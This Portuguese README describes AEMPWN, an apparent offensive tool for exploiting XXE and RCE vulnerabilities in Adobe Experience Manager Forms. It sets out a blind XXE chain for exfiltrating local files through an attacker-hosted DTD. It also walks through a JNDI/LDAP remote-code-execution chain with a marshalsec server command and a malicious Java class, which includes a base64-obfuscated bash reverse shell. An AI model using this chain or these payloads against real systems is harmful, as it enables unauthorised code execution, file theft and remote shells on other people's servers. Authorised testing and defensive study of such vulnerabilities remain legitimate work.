
CVE-2025-54253 | CVE-2025-54254 | Adobe Experience Manager Forms XXE → RCE Framework
AEMPWN
Scanner de AEM Forms para CVE-2025-54253 & CVE-2025-54254
AEMPWN é um scanner direcionado para identificar vulnerabilidades de alto risco no Adobe Experience Manager (AEM) Forms, com suporte para detecção segura, confirmação cega fora de banda (OOB) e fluxos completos de validação de prova de conceito (PoC). Esta ferramenta é destinada apenas a testes de segurança autorizados.
Vulnerabilidades Suportadas
CVE-2025-54253 Execução remota de código dependente de configuração no AEM Forms (JEE)
CVE-2025-54254 Injeção de XML External Entity (XXE) levando à divulgação de arquivos e potencial escalonamento
Modos de Operação AEMPWN suporta três modos de execução para se alinhar aos fluxos de trabalho reais de bounty e red team.
Objetivo: Identificar comportamento inseguro de parsing de XML e superfície de exploração viável sem acionar comportamento destrutivo.
O que ele valida: Reflexão de XML Respostas estruturadas não HTML Reflexão de token canário Indicadores de tratamento inseguro de XML
Use quando: Você deseja validação de baixo ruído Você ainda está mapeando o impacto Você precisa de um sinal seguro antes do escalonamento Este modo é adequado para triagem inicial e relatórios internos.
Objetivo: Confirmar XXE cego por meio de requisições de saída do servidor AEM.
Esclarecimento importante: O Burp Collaborator (ou serviços similares) apenas observa conexões de saída. Eles não: Hospedar arquivos DTD arbitrários Servir payloads maliciosos Retornar respostas controladas pelo atacante Suportar exploração LDAP/JNDI
Por causa disso, o Collaborator sozinho é insuficiente para exploração completa de XXE OOB.
O que você precisa: Um servidor HTTP que você controla (VPS, instância em nuvem, servidor local com tunelamento, etc.) A capacidade de servir um arquivo DTD A capacidade de observar requisições HTTP de entrada e parâmetros de consulta
O que isso prova: O parser XML busca entidades externas O alvo faz requisições de rede de saída Arquivos locais sensíveis podem ser lidos e exfiltrados
Objetivo: Demonstrar execução real de código no servidor AEM para impacto de nível P1.
Este modo depende de injeção JNDI por meio do parsing de XML, o que exige infraestrutura além de callbacks HTTP.
O que você precisa: Um servidor LDAP em execução capaz de servir uma referência de classe Java Um servidor HTTP hospedando uma classe Java compilada Uma primitiva de execução controlada (ex.: criação de arquivo, callback de saída)
Por que o LDAP é necessário: O parser XML tenta resolver uma referência JNDI Isso faz com que o servidor AEM se conecte ao seu listener LDAP A resposta LDAP aponta para uma classe Java A classe é carregada e executada pela JVM
Melhor ferramenta: marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server/#Exploit" 1389
http://your-server/#Exploit = servidor HTTP servindo Exploit.class (classe maliciosa compilada).
Exemplo de classe maliciosa (simples touch /tmp/pwned ou reverse shell):
Javaimport java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
// or reverse shell: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
}
Compile → hospede em um servidor HTTP (o mesmo do DTD ou separado). Quando o AEM faz o parsing da entidade → conecta-se ao seu LDAP → busca a classe → executa o código.
Limitação principal:
O Burp Collaborator não pode: Servir respostas LDAP Hospedar classes Java Acionar o carregamento de classes baseado em JNDI Por esse motivo, o modo RCE não pode funcionar sem um serviço LDAP real.
Sobre o Burp Collaborator O Burp Collaborator (e plataformas similares) são úteis apenas para detecção.
Eles podem confirmar: Consultas DNS Callbacks HTTP ou HTTPS Conectividade cega de saída
Eles não podem: Hospedar arquivos DTD Processar conteúdos de arquivos exfiltrados Servir classes Java Suportar exploração baseada em JNDI ou LDAP
Use o Collaborator para observar, não para entregar payloads.
Saída:
As descobertas confirmadas são gravadas em um arquivo de saída (padrão: aem-forms-scan.txt) e incluem: URL base do alvo Endpoint afetado Sinais de detecção observados Indicadores específicos do modo Compatível com vídeo-PoC